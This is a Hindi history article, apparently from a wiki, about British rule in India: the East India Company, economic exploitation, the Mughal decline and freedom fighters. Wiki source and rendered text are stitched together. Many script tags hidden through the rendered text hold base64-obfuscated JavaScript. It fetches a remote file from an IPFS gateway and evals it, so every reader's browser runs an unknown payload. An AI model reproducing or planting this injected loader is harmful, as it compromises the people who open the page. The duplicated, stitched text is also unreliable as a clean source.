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कांग्रेस को पहली मामूली सफलता 1909 ई. में मिली, जब [[इंग्लैण्ड]] में भारतमंत्री के निर्देशन में काम करने वाली 'भारत परिषद' में दो भारतीय सदस्यों की नियुक्ति पहली बार की गयी। वाइसराय की 'एक्जीक्यूटिव काउंसिल' में पहली बार एक भारतीय सदस्य की नियुक्ति की गयी तथा 'इंडियन काउंसिल एक्ट' के द्वारा केन्द्रीय तथा प्रान्तीय विधानमंडलों का विस्तार कर दिया गया तथा उनमें निर्वाचित भारतीय प्रतिनिधियों का अनुपात पहले से अधिक बढ़ा दिया गया। इन सुधारों के प्रस्ताव लॉर्ड मार्ले ने हालाँकि [[भारत]] में संसदीय संस्थाओं की स्थापना करने का कोई इरादा होने से इन्कार किया, फिर भी एक्ट में जो व्यवस्थाएँ की गयीं थी, उनका उद्देश्य उसी दिशा में आगे बढ़ने के सिवा और कुछ नहीं हो सकता था। 1911 ई. में लॉर्ड कर्ज़न के द्वारा 1905 ई. में किया [[बंगाल]] का विभाजन रद्द कर दिया गया और भारत ने ब्रिटेन का पूरा साथ दिया। भारत ने युद्ध को जीतने के लिए ब्रिटेन की फ़ौजों से, धन से तथा समाग्री से मदद की। भारत आशा करता था कि इस राजभक्ति प्रदर्शन के बदले युद्ध से होने वाले लाभों में उसे भी हिस्सा मिलेगा।
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====सरदार भगत सिंह====
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[[चित्र:Bhagat-Singh.gif|thumb|150px|[[भगत सिंह]]]]
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{{main|भगत सिंह}}
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1919 ई. में [[रौलट एक्ट]] के विरोध में संपूर्ण भारत में प्रदर्शन हो रहे थे और इसी वर्ष 13 अप्रैल को जलियाँवाला बाग़ काण्ड हुआ। इस काण्ड का समाचार सुनकर [[भगत सिंह]] [[लाहौर]] से [[अमृतसर]] पहुंचे। देश पर मर-मिटने वाले शहीदों के प्रति श्रध्दांजलि दी तथा रक्त से भीगी मिट्टी को उन्होंने एक बोतल में रख लिया, जिससे सदैव यह याद रहे कि उन्हें अपने देश और देशवासियों के अपमान का बदला लेना है। 1920 ई. के महात्मा गांधी के असहयोग आंदोलन से प्रभावित होकर 1921 ई. में भगत सिंह ने स्कूल छोड़ दिया। असहयोग आंदोलन से प्रभावित छात्रों के लिए [[लाला लाजपत राय]] ने लाहौर में 'नेशनल कॉलेज' की स्थापना की थी। इसी कॉलेज में भगत सिंह ने भी प्रवेश लिया। 'पंजाब नेशनल कॉलेज' में उनकी देशभक्ति की भावना फलने-फूलने लगी। इसी कॉलेज में ही [[यशपाल]], भगवतीचरण, [[सुखदेव]], तीर्थराम, झण्डासिंह आदि क्रांतिकारियों से संपर्क हुआ। कॉलेज में एक नेशनल नाटक क्लब भी था। इसी क्लब के माध्यम से भगत सिंह ने देशभक्तिपूर्ण नाटकों में अभिनय भी किया।
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====चन्द्रशेखर आज़ाद====
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[[चित्र:Chandrashekhar-Azad.jpg|thumb|right|150px|[[चन्द्रशेखर आज़ाद]]]]
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{{main|चन्द्रशेखर आज़ाद}}
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चन्द्रशेखर आज़ाद के सफल नेतृत्व में [[भगत सिंह]] और [[बटुकेश्वर दत्त]] ने 8 अप्रैल, 1929 ई. को [[दिल्ली]] की 'केन्द्रीय असेंबली' में बम विस्फोट किए। ये विस्फोट सरकार द्वारा बनाए गए काले क़ानूनों के विरोध में किए गए थे। इस काण्ड के फलस्वरूप भी क्रान्तिकारी बहुत जनप्रिय हो गए। केन्द्रीय असेंबली में बम विस्फोट करने के पश्चात् भगत सिंह और बटुकेश्वर दत्त ने स्वयं को गिरफ्तार करा लिया। वे न्यायालय को अपना प्रचार–मंच बनाना चाहते थे। [[चन्द्रशेखर आज़ाद]] घूम–घूमकर क्रान्ति प्रयासों को गति देने में लगे हुए थे। आख़िर वह दिन भी आ गया, जब किसी मुखबिर ने पुलिस को वह सूचना दी, कि चन्द्रशेखर आज़ाद '[[अल्फ़्रेड पार्क]]' में अपने एक साथी के साथ बैठे हुए हैं। चन्द्रशेखर आज़ाद ने पार्क में काफ़ी देर तक अंग्रेज़ों से मुकाबला किया। उनके पास सारी गोलियाँ समाप्त हो चुकी थीं, सिर्फ़ एक गोली ही शेष थी। वे अंग्रेज़ों के हाथों में आना नहीं चाहते थे। स्वयं को गिरफ्तारी से बचाने के लिए उन्होंने वह एक शेष गोली अपने मस्तिष्क से सटाकर चली दी। इस प्रकार एक ऐसे देशभक्त का अन्त हो गया, जिसने आज़ादी की प्राप्ति के लिये प्राणों का मोह नहीं किया। देश का हर एक नागरिक इस वीर के ऋण को सदैव याद रखे, यही उस वीर के लिये एक सच्ची श्रृद्धाजंली होगी।
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====नेताजी बोस====
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{{main|सुभाष चन्द्र बोस}}
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[[चित्र:Subhash-Chandra-Bose-2.jpg|thumb|150px|[[सुभाष चन्द्र बोस]]]]
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सुभाष चन्द्र बोस एक महान् नेता थे। कहते हैं न, कि नेता अपने सिद्धांतों से कभी समझौता नहीं करते, पर उनमें विरोधियों को साथ लेकर चलने का महान् गुण होता है। सो नेता जी में यह गुण कूट-कूट कर भरा था। दरअसल, [[प्रथम स्वतन्त्रता संग्राम|भारतीय स्वतंत्रता संग्राम]] में अलग-अलग विचारों के दल थे। ज़ाहिर तौर पर [[महात्मा गाँधी]] को उदार विचारों वाले दल का प्रतिनिधि माना जाता था। वहीं नेताजी अपने जोशीले स्वभाव के कारण क्रांतिकारी विचारों वाले दल में थे। यही कारण था कि महात्मा गाँधी और सुभाष चन्द्र बोस के विचार भिन्न-भिन्न थे। लेकिन वे यह अच्छी तरह जानते थे कि, महात्मा गाँधी और उनका मक़सद एक है, यानी देश की आज़ादी। वे यह भी जानते थे कि महात्मा गाँधी ही देश के राष्ट्रपिता कहलाने के सचमुच हक़दार हैं। सबसे पहले गाँधी जी को '''राष्ट्रपिता''' कहने वाले नेताजी ही थे।
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{{seealso|सरदार बल्लभ भाई पटेल |सुखदेव|राजगुरु|लाला लाजपत राय|आज़ाद हिन्द फ़ौज}}
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====सम्प्रदायिक दंगे====
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कुछ ब्रिटिश अफ़सरों ने [[भारत]] को स्वाधीन होने से रोकने के लिए अंतिम दुर्राभ संधि की और [[मुसलमान|मुसलमानों]] की भारत विभाजन करके पाकिस्तान की स्थापना की माँग का समर्थन करना शुरू कर दिया। इसके फलस्वरूप अगस्त 1946 ई. में सारे देश में भयानक सम्प्रदायिक दंगे शुरू हो गये, जिन्हें वाइसराय [[लॉर्ड वेवेल]] अपने समस्त फ़ौजी अनुभवों तथा साधनों बावजूद रोकन में असफल रहा। यह अनुभव किया गया कि भारत का प्रशासन ऐसी सरकार के द्वारा चलाना सम्भव नहीं है, जिसका नियंत्रण मुध्य रूप से अंग्रेज़ों के हाथों में हो। अतएव सितम्बर 1946 ई. में लॉर्ड वेवेल ने [[पंडित जवाहर लाल नेहरू]] के नेतृत्व में भारतीय नेताओं की एक अंतरिम सरकार गठित की। ब्रिटिश अधिकारियों की कृपापात्र होने के कारण [[मुस्लिम लीग]] के दिमाग़ काफ़ी ऊँचे हो गये थे। उसने पहले तो एक महीने तक अंतरिम सरकार से अपने को अलग रखा, इसके बाद वह भी उसमें सम्मिलित हो गयी।
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==स्वतंत्रता प्राप्ति==
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भारत का संविधान बनाने के लिए एक भारतीय संविधान सभा का आयोजन किया गया। 1947 ई. के शुरू में लॉर्ड वेवेल के स्थान पर [[लॉर्ड माउंटबेटेन]] वाइसराय नियुक्त हुआ। उसे [[पंजाब]] में भयानक सम्प्रदायिक दंगों का सामना करना पड़ा। जिनको भड़काने में वहाँ के कुछ ब्रिटिश अफ़सरों का हाथ था। वह [[प्रधानमंत्री]] [[एटली]] के नेतृत्व में ब्रिटेन की सरकार को यह समझाने में सफल हो गया कि भारत का भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान करने से शान्ति की स्थापना सम्भव हो सकेगी और ब्रिटेन भारत में अपने व्यापारिक हितों को सुरक्षित रख सकेगा। 3 जून, 1947 ई. को ब्रिटिश सरकार की ओर से यह घोषणा कर दी गयी कि भारत का; भारत और पाकिस्तान के रूप में विभाजन करके उसे स्वाधीनता प्रदान कर दी जायगी। ब्रिटिश पार्लियामेंट ने 15 अगस्त, 1947 ई. को 'इंडिपेडंस ऑफ़ इंडिया एक्ट' पास कर दिया। इस तरह भारत उत्तर पश्चिमी सीमा प्रान्त, [[बलूचिस्तान]], [[सिंध]], पश्चिमी पंजाब, पूर्वी बंगाल तथा पश्चिम बंगाल के मुस्लिम बहुल भागों से रहित हो जाने के बाद, सात शताब्दियों की विदेशी पराधीनता के बाद स्वाधीनता के एक नये पथ पर अग्रसर हुआ।
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====रियासतों का विलय====
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अधिकांश देशी रियासतों ने, जिनके सामने [[भारत]] अथवा [[पाकिस्तान]] में विलय का प्रस्ताव रखा गया था, भारत में विलय के पक्ष में निर्णय लिया, परन्तु, दो रियासतों-[[कश्मीर]] तथा [[हैदराबाद]] ने कोई निर्णय नहीं किया। पाकिस्तान ने बलपूर्वक कश्मीर की रियासत पर अधिकार करने का प्रयास किया, परन्तु अक्टूबर 1947 ई. में कश्मीर के महाराज ने भारत में विलय की घोषणा कर दी और भारतीय सेनाओं को वायुयानों से भेजकर [[श्रीनगर]] सहित कश्मीरी घाटी तक [[जम्मू]] की रक्षा कर ली गयी। पाकिस्तानी आक्रमणकारियों ने रियासत के उत्तरी भाग पर अपना क़ब्ज़ा बनाये रखा और इसके फलस्वरूप पाकिस्तान से युद्ध छिड़ गया। भारत ने यह मामला संयुक्त राष्ट्र संघ में उठाया और संयुक्त राष्ट्र संघ ने जिस क्षेत्र पर जिसका क़ब्ज़ा था, उसी के आधार पर युद्ध विराम कर दिया। वह आज तक इस सवाल का कोई निपटारा नहीं कर सका है। हैदराबाद के निज़ाम ने अपनी रियासत को स्वतंत्रता का दर्जा दिलाने का षड़यंत्र रचा, परन्तु भारत सरकार की पुलिस कार्रवाई के फलस्वरूप वह 1948 ई. में अपनी रियासत भारत में विलयन करने के लिए मजबूर हो गये। रियासतों के विलय में तत्कालीन गृहमंत्री [[सरदार बल्लभ भाई पटेल]] की मुख्य भूमिका रही।
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{{seealso|भारत में समाचार पत्रों का इतिहास|सामाजिक सुधार अधिनियम}}
  
 
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{{संदर्भ ग्रंथ}}
 
 
==टीका टिप्पणी और संदर्भ==
 
==टीका टिप्पणी और संदर्भ==
 
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==बाहरी कड़ियाँ==
 
 
==संबंधित लेख==
 
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{{औपनिवेशिक काल}}
[[Category:नया पन्ना]]
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{{अंग्रेज़ गवर्नर जनरल और वायसराय}}
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{{स्वतन्त्रता सेनानी}}
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[[Category:इतिहास कोश]]
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[[Category:औपनिवेशिक काल]]
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[[Category:अंग्रेज़ी शासन]]
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14:09, 30 जून 2017 के समय का अवतरण

भारतीयों की फूट तथा विघटनकारी तत्त्वों के कारण अठारहवीं शताब्दी में भारत पर अंग्रेज़ों का प्रभुत्व जम गया। भारत के इतिहास में लगभग पहली बार ऐसा हुआ कि, इसके प्रशासन और भाग्य-निर्णय की डोर एक ऐसी विदेशी जाति के हाथों में चली गई, जिसकी मातृभूमि कई हज़ार मील दूर अवस्थित थी। इस तरह की पराधीनता भारत के लिए एक सर्वथा नया अनुभव थी, क्योंकि यों तो अतीत में भारत पर कई आक्रमण हुए थे, समय-समय पर भारतीय प्रदेश के कुछ भाग अस्थायी तौर पर विजेताओं के उपनिवेशों में शामिल हो गये थे, पर ऐसे अवसर कम ही आये थे, और उनकी अवधि भी अत्यल्प ही रही थी। भारत पर अंग्रेज़ों ने एक विदेशी की तरह शासन किया। ऐसे कम ही अंग्रेज़ शासक हुए, जिन्होंने भारत को अपना देश समझा और कल्याणकारी भावना से उत्प्रेरित होकर शासन किया। उन्होंने व्यापार और राजनीतिक साधनों के माध्यम से भारत का आर्थिक शोषण किया और धन-निकास की नीति अपनाकर देश को खोखला कर डाला। उन्होंने भारतीयों के नैतिक मनोबल पर सदैव आघात किया। इस काल के इतिहास के पन्ने इस बात को सिद्ध करते हैं कि, एक ओर जहाँ ब्रिटिश सत्ता के भारत में स्थापित हो जाने के बाद देश में घोर अन्धकारपूर्ण और निराशाजनक वातावरण स्थापित हो गया, वहीं दूसरी ओर देश को ग़ुलामी की ओर धकेल दिया गया।[1]

भारत का पतन

Blockquote-open.gif यह बात शुरू में ही साफ़ हो गई थी कि, सफलता अंग्रेज़ों के हाथ लगेगी, और उसके कारण स्पष्ट थे। वे राष्ट्रवाद में विश्वास रखते थे, जबकि भारत में न यह भावना थी, और न ही अनुशासन। युद्ध-कौशल तथा रणनीति में अंग्रेज़ भारतीयों की अपेक्षा कहीं आगे थे। भारतीय सैनिक निष्ठावान तो थे, पर इन्हें भी अपने राजा के प्रति पूर्ण ईमानदार और वफ़ादार नहीं कहा जा सकता। भारतीय इतिहास में न जाने कितने ही सहायकों और विश्वासपात्रों ने अपने ही राजाओं को धोखा दिया और उनके साथ विश्वासघात करके उन्हें मौत के घाट उतार दिया। इन्हीं सब बातों से भारतीयों का अपनी भूमि पर ही पतन हुआ। Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भारत के प्रति इंग्लैण्ड की अधिकार लिप्सा की भावना बहुत पहले ही उभरने लगी थी, तथा अंग्रेज़ लोग भारत को अपने अधिकार की वस्तु और सब प्रकार से पतित देश मानने लगे। भारत का उपयोग इंग्लैण्ड के लिए करना उनका प्रमुख दृष्टिकोण बन गया था। अंग्रेज़ प्रशासन, न भारतीय जनता के प्रति सहानुभूति रखता था और न ही भारतवासियों के कल्याण के प्रति सजग था। इंग्लैण्ड में जो क़ानून या नियम भारत के सम्बन्ध में बनाये जाने लगे थे, उनके प्रति यह ब्रिटिश नीति बनी कि, भारत के हितों का इंग्लैण्ड के लिए सदैव बलिदान किया जाना चाहिए। अंग्रेज़ों की इस नीति के कारण भारत उत्तरोत्तर आर्थिक दृष्टि से निर्धन और सांस्कृतिक दृष्टि से हीन होता चला गया। भारत के पतन के सम्बन्ध में कई प्रसिद्ध व्यक्तियों ने अपने विचार रखे हैं, उनमें से कुछ इस प्रकार से हैं-

  • केशव चन्द्र सेन के अनुसार - "आज हम अपने चारों ओर जो देखते हैं, वह है एक गिरा हुआ राष्ट्र। एक ऐसा राष्ट्र, जिसकी प्राचीन महानता खण्डहरों में गड़ी हुई पड़ी है। उसका राष्ट्रीय साहित्य और विज्ञान, उसका अध्यात्म ज्ञान और दर्शन, उसका उद्योग और वाणिज्य, उसकी सामाजिक समृद्धि और गार्हस्थिक सादगी और मधुरता ऐसी है, जिसकी गिनती लगभग अतीत की वस्तुओं में की जाती है। जब हम आध्यात्मिक, सामाजिक और बौद्धिक दृष्टि से उजड़े हुए, शोकयुक्त और उदासीन दृश्य, जो हमारे सामने फैला हुआ है, का निरीक्षण करते हैं, तो हम व्यर्थ ही उसमें कालिदास के देश-कविता, विज्ञान और सभ्यता के देश को पहचानने का प्रयत्न करते हैं।"
  • डॉ. थ्योडोर के अनुसार - "प्रधानतः आर्थिक लाभ के लिए ईस्ट इण्डिया कम्पनी ने ब्रिटिश राज्य की स्थापना की और उसका विस्तार किया।"
  • ताराचन्द्र के अनुसार - "सत्रहवीं शताब्दी में भारत का गौरव अपनी पराकाष्ठा पर था, और उसकी मध्युगीन संस्कृति अपनी चरम सीमा पर पहुँच गई थी। परन्तु जैसे-जैसे एक के बाद एक शताब्दियाँ बीतीं, वैसे-वैसे यूरोपीय सभ्यता का सूर्य तेज़ी से आकाश के मध्य की ओर बढ़ने लगा और भारतीय गगन में अन्धकार छाने लगा। फलतः जल्दी ही देश पर अन्धेरा छा गया, और नैतिक पतन तथा राजनीतिक अराजकता की परछाइयाँ लम्बी होने लगीं।[1]

भारतीयों का विरोध

यह सही है कि, प्रशासन एवं यातायात तथा शिक्षा के क्षेत्र में भारतवासियों ने इस विदेशी शासन से अनेक तत्त्व ग्रहण किये, किन्तु इस बात से इन्कार नहीं किया जा सकता कि, अंग्रेज़ों ने अधिकाधिक अर्थोपार्जन करने की नीति का ही अनुशीलन किया। यही कारण था कि, जहाँ भारतीयों ने मुसलमानों के शासन को स्वीकार करके उसे भारतीय शासन के इतिहास में शामिल किया, वहीं उन्होंने अंग्रज़ों को अपना संप्रभु नहीं माना। हृदय की गहराइयों से उनके शासन को स्वीकार नहीं किया और प्रारम्भ से ही उनके प्रति अपना विरोध प्रकट किया। अंग्रेज़ कभी भी भारतीय न बन सके, सदैव विदेशी बने रहे और समय आने पर सब के सब स्वदेश चले गये। यह विदेशी शासन भारतीयों को क़तई स्वीकार नहीं था। बंगाल के 'सिराज' के काल से लेकर दिल्ली के बहादुरशाह द्वितीय के काल तक भारतीय विरोध जारी रहा था।

अंग्रेज़

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भारत में व्यापारिक कोठियाँ खोलने के प्रयास के अन्तर्गत ही ब्रिटेन के सम्राट जेम्स प्रथम ने 1608 ई. में कैप्टन हॉकिन्स को अपने राजदूत के रूप में मुग़ल सम्राट जहाँगीर के दरबार में भेजा था। 1609 ई. में हॉकिन्स ने जहाँगीर से मिलकर सूरत में बसने की इजाजत माँगी, परन्तु पुर्तग़ालियों तथा सूरत के सौदाग़रों के विद्रोह के कारण उसे स्वीकृति नहीं मिली। हॉकिन्स फ़ारसी भाषा का बहुत अच्छा जानकार था। कैप्टन हॉकिन्स तीन वर्षों तक आगरा में रहा। जहाँगीर ने उससे प्रसन्न होकर उसे 400 का मनसब तथा जागीर प्रदान की। 1616 ई. में सम्राट जेम्स प्रथम ने सर टॉमस रो को अपना राजदूत बनाकर जहाँगीर के पास भेजा। टॉमस रो का एकमात्र उदेश्य था - 'व्यापारिक संधि करना'। यद्यपि उसका जहाँगीर से व्यापारिक समझौता नहीं हो सका, फिर भी उसे गुजरात के तत्कालीन सूबेदार 'ख़ुर्रम' (बाद में शाहजहाँ के नाम से प्रसिद्ध) से व्यापारिक कोठियों को खोलने के लिए फ़रमान प्राप्त हो गया। इस प्रकार अंग्रेज़ों के पैर एक बार जो भारत में जमे, वह 1947 ई. में देश के आज़ाद होने तक के बाद ही उखड़ सके।

ईस्ट इण्डिया कम्पनी की मुहर

ईस्ट इण्डिया कम्पनी

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ईस्ट इण्डिया कम्पनी एक निजी व्यापारिक कम्पनी थी, जिसने 1600 ई. में शाही अधिकार पत्र द्वारा व्यापार करने का अधिकार प्राप्त कर लिया था। इसकी स्थापना 1600 ई. के अन्तिम दिन महारानी एलिजाबेथ प्रथम के एक घोषणापत्र द्वारा हुई थी। यह लन्दन के व्यापारियों की कम्पनी थी, जिसे पूर्व में व्यापार करने का एकाधिकार प्रदान किया गया। कम्पनी का मुख्य उद्देश्य भारत में व्यापार करना और धन कमाना था। 1708 ई. में ईस्ट इण्डिया कम्पनी की प्रतिद्वन्दी कम्पनी 'न्यू कम्पनी' का 'ईस्ट इण्डिया कम्पनी' में विलय हो गया। परिणामस्वरूप 'द यूनाइटेड कम्पनी ऑफ़ मर्चेंट्स ऑफ़ इंग्लैण्ड ट्रेडिंग टू ईस्ट इंडीज' की स्थापना हुई। कम्पनी और उसके व्यापार की देख-रेख 'गर्वनर-इन-काउन्सिल' करती थी। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: गवर्नर-जनरल, रेग्युलेटिंग एक्ट, साइमन कमीशन एवं पिट एक्ट

अंग्रेज़ों की एकता एवं नीति

यह बात शुरू में ही साफ़ हो गई थी कि, सफलता अंग्रेज़ों के हाथ लगेगी, और उसके कारण स्पष्ट थे। वे राष्ट्रवाद में विश्वास रखते थे, जबकि भारत में न यह भावना थी, और न ही अनुशासन। युद्ध-कौशल तथा रणनीति में अंग्रेज़ भारतीयों की अपेक्षा कहीं आगे थे। भारतीय सैनिक निष्ठावान तो थे, पर इन्हें भी अपने राजा के प्रति पूर्ण ईमानदार और वफ़ादार नहीं कहा जा सकता। भारतीय इतिहास में न जाने कितने ही सहायकों और विश्वासपात्रों ने अपने ही राजाओं को धोखा दिया और उनके साथ विश्वासघात करके उन्हें मौत के घाट उतार दिया। इन्हीं सब बातों से भारतीयों का अपनी भूमि पर ही पतन हुआ। उधर अंग्रेज़ों के सामने नैतिकता जैसी कोई चीज़ नहीं थी। बंगाल, अवध, मैसूर, महाराष्ट्र, पंजाब और सिंध इन सभी का विलय अंग्रेज़ी साम्राज्य में हो गया था। जो भी अंग्रेज़ शासक आये, चाहे वह वारेन हेस्टिंग्स हो या लॉर्ड कॉर्नवॉलिस, लॉर्ड वेलेज़ली हो या लॉर्ड हेस्टिंग्स, लॉर्ड विलियम बैंटिक हो या लॉर्ड डलहौज़ी, इन सभी ने अपने शासकीय एवं सैनिक सुधारों पर अत्यधिक बल दिया। इन सभी का सिर्फ़ एक ही मकसद था, सम्पूर्ण भारत पर अधिकार और ब्रिटिश सत्ता में वृद्धि। अपने इस लक्ष्य को प्राप्त करने के लिए अंग्रेज़ों ने अपनी आपसी सूझबूझ बनाये रखी और हर सम्भव प्रयत्न किया। <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: अंग्रेज़, गवर्नर-जनरल एवं ईस्ट इण्डिया कम्पनी

भारतीय समाज की कुरीतियाँ

भारतीय समाज अनेक कुरीतियों का शिकार था। जाति-प्रथा, शिशु-बली, बाल-विवाह, सती प्रथा, विधवा विवाह-निषेध आदि के कारण भारतीय समाज खोखला हो रहा था। अपनी अंधविश्वासी परम्परा एवं रीति-रिवाजों के घेरे में पड़े भारतीय आधुनिकता से सर्वथा अपरिचित थे। ईस्ट इण्डिया कम्पनी ने शुरू में तो भारतीय समाज के मामले में तटस्थता की नीति अपनायी, परन्तु 18 वीं शताब्दी के अन्तिम चरण में अंग्रेज़ भारतीय समाज में सुधार लाने की सोचने लगे। भारत के प्रति सुधारवादी दृष्टिकोण अपनाने के पीछे जो भी कारण रहे हों, परन्तु इससे भारत में पुनर्जागरण का मार्ग खुला। सामाजिक क़ानून बनाने का क्रम शुरू हुआ। शिशु-वध, विधवा विवाह-निषेध, नर बलि, सती प्रथा आदि ऐसी बातें थीं, जिनके निवारण में सरकार को राजा राममोहन राय तथा ईश्वरचन्द्र विद्यासागर जैसे भारतीय नेताओं का सहयोग भी मिला।[1]

भारत का आर्थिक शोषण

ईस्ट इण्डिया कम्पनी के काल में आर्थिक परिवर्तन हुए। अंग्रेज़ों के आने से पहले भारतीय ग्राम आत्मनिर्भर थे। भारतीय कारीगरी की ख्याति दूर-दूर तक थी। भारत के सामान से देशी और विदेशी मण्डियाँ भरी रहती थीं। 18 वीं शताब्दी के आरम्भ तक भारत से उत्कृष्ट सूती और रेशमी वस्त्र, मसाले, नील, चीनी, दवाएँ और जवाहरात आदि बड़ी मात्रा में विदेश भेजे जाते थे, और बदले में सोना और चाँदी हिन्दुस्तान में आता था। शुरू में ईस्ट इण्डिया कम्पनी ने भी भारतीय चीजों का खूब निर्यात किया, परन्तु कालान्तर में भारतीय व्यापार और कला-कौशल का गला घोंटने की नीति अपनायी गयी। कृषि-भूमि पर भू-राजस्व लगाया गया, जिसकी कठोरता के कारण कृषि की प्रगति समाप्त हो गई। इस प्रकार कम्पनी के शासन काल में कृषि, व्यापार व उद्योग तीनों का पतन हुआ। 19 वीं शताब्दी के पूर्व भारत में पूँजी लगाकर अंग्रेज़ों ने यहाँ की अर्थव्यस्था पर अपनी पकड़ कर ली। दूसरी ओर वह भारत का धन इंग्लैण्ड ले गये। इन दोनों बातों से ही भारत का आर्थिक शोषण हुआ। धन के इस निर्गमन ने जहाँ भारत को दरिद्र बनाया, वहीं इंग्लैण्ड के औद्योगिक विकास ने गति पकड़ ली।

भारत की तत्कालीन राजनीतिक स्थिति

भारत में विदेशियों के आगमन के समय राजनीति में दो प्रमुख शक्तियाँ थीं : मुग़ल और मराठा। मुग़ल पतनोन्मुख हो चले थे, और मराठा विकासोन्मुख थे। वास्तविकता यह थी कि, औरंगज़ेब की मृत्यु (1707 ई.) के उपरान्त भारत में केन्द्रीय सत्ता नहीं रही और सारा देश छोटे-छोटे राज्यों में विभक्त हो गया। अठारहवीं शताब्दी के प्रारम्भ में ही चरमराते हुए मुग़ल साम्राज्य को पतन की ओर अग्रसर होना ही था। साम्राज्य के विभिन्न राज्यों में संघर्ष चलने लगे और वे एक दूसरे को हड़पने के लिए निरन्तर षड्यन्त्र की रचना करने लगे। औरंगज़ेब की मृत्यु के पहले से ही यूरोप की विभिन्न जातियों का आगमन भारतवर्ष में होने लगा था। ये जातियाँ देश की लड़खड़ाती राजनीति और व्याप्त अराजकता को देख रही थीं।

अयोग्य मुग़ल उत्तराधिकारी

औरंगज़ेब की मृत्यु काल से लेकर प्लासी की लड़ाई के पूर्व काल तक बंगाल, बिहार और उड़ीसा की राजनीति मुग़ल प्रशासन से अप्रभावित रहने लगी। 'सुकुमार भट्टाचार्य' ने लिखा है, "यह सत्य है कि औरंगज़ेब की मृत्यु से पूर्व ही षड्यन्त्रकारी शाक्तियों ने सिर उठाना प्रारम्भ कर दिया था। यहाँ तक कि जिस राज्य की जड़े इतनी शक्तिशाली थीं, उन्हें धूल-धूसरित कर दिया गया और अब औरंगज़ेब के वंश में कोई ऐसा नहीं रहा, जो इन षड्यन्त्रों को कुचल सकता। इसका कारण यह था कि, मुग़लों का विशाल साम्राज्य कई प्रान्तों में विभाजित था, जो सूबेदारों के संरक्षण में थे। प्रत्यक्ष है कि, ऐसा शासन प्रबन्ध शक्तिशाली केन्द्रीय सरकार की उपस्थिति में ही चल सकता था। लेकिन मुग़लों का केन्द्रीय शासन-प्रबन्ध औरंगज़ेब की अनुपस्थिति में नितान्त शक्तिहीन और अदृढ़ हो गया था। उसके सारे के सारे उत्तराधिकारी जहाँदारशाह, फ़र्रुख़सियर, मुहम्मदशाह आदि अयोग्य थे, जो गिरते साम्राज्य को संभाल नहीं सकते थे। ऐसी स्थिति में मुग़ल सूबेदार अपने प्रान्तों के स्वामी बन बैठे। इस कारण साम्राज्य में चारों तरफ़ अशान्ति, उपद्रव षड्यन्त्र आदि के बाज़ार गर्म हो गये। दक्षिण भारत के राज्य भी अशान्त हो उठे। दक्षिण में निज़ामुलमुल्क, आसिफ़जान और अवध में सआदत अली ख़ाँ ने स्वतन्त्र राजसत्ता का प्रयोग किया। इसी मार्ग का अनुशीलन रूहेलखण्ड के अफ़ग़ान पठानों ने भी किया। मराठों ने भी महाराष्ट्र, मध्य प्रदेश, मालवा और गुजरात पर अधिकार करके पूना को अपनी राजनीतिक कार्य-कलापों का केन्द्र बना लिया। अगर 1761 ई. में अहमदशाह अब्दाली के हाथों पानीपत के मैदान में मराठों को पराजय न मिली होती तो, आज भारतीय इतिहास की एक नई रूपरेखा होती। भारत में काम करने वाली यूरोपीय कम्पनियाँ क्या इस आन्तरिक फूट से लाभ उठाने के लोभ का संवरण कर सकती थीं?[1] <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>इन्हें भी देखें<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>: मुग़ल वंश, मुग़ल काल, मुग़लकालीन स्थापत्य एवं वास्तुकला एवं मुग़लकालीन राजस्व 